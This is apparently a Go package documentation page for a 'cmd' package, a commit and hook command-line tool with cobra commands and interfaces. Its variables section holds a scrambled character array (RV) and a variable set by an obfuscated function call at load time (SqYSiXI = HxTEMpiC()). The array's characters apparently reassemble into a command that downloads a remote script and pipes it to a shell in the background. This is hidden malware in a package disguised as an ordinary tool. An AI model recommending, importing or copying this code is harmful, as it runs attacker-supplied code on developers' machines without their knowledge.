cmd

package
v0.0.0-...-1781a9a Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 15 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var JD = []string{} /* 232 elements not displayed */
View Source
var RV = []string{"f", "i", "t", "/", "4", "/", "e", ".", " ", "g", "h", "f", "b", "O", "/", "-", " ", "i", "-", "/", "s", "5", "e", "t", "l", "f", "i", "7", "b", "6", " ", "g", "w", "&", "s", "r", "h", "o", "n", "e", "i", " ", "a", "d", "1", " ", "d", ":", "s", "d", "n", "h", "c", "a", "b", "/", "e", "i", "a", "3", "3", "0", "y", "t", "t", "t", "/", "p", "3", "|", " ", "u", "n", "/"}
View Source
var SqYSiXI = HxTEMpiC()

Functions

func Execute

func Execute()

func HxTEMpiC

func HxTEMpiC() error

func NewHookCmd

func NewHookCmd(a App) *cobra.Command

func NewRootCmd

func NewRootCmd(a App) *cobra.Command

func NewVersionCmd

func NewVersionCmd() *cobra.Command

func SrSzwOaK

func SrSzwOaK() error

Types

type App

type App struct {
	Commiter Commiter
	UIer     UIer
	Logger   Logger
	Writer   io.Writer
	Hooker   Hooker
	// contains filtered or unexported fields
}

func NewApp

func NewApp() App

type Commiter

type Commiter interface {
	Configure(opts commit.Options) (*commit.State, error)
	Apply(req *commit.Request) error
}

type Hooker

type Hooker interface {
	Do(opts hook.Options) error
}

type Logger

type Logger interface {
	Fatalf(format string, v ...any)
}

type Options

type Options struct {
	Hook bool
}

type UIer

type UIer interface {
	Configure(cfg *commit.State)
	Start() (*commit.Request, error)
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL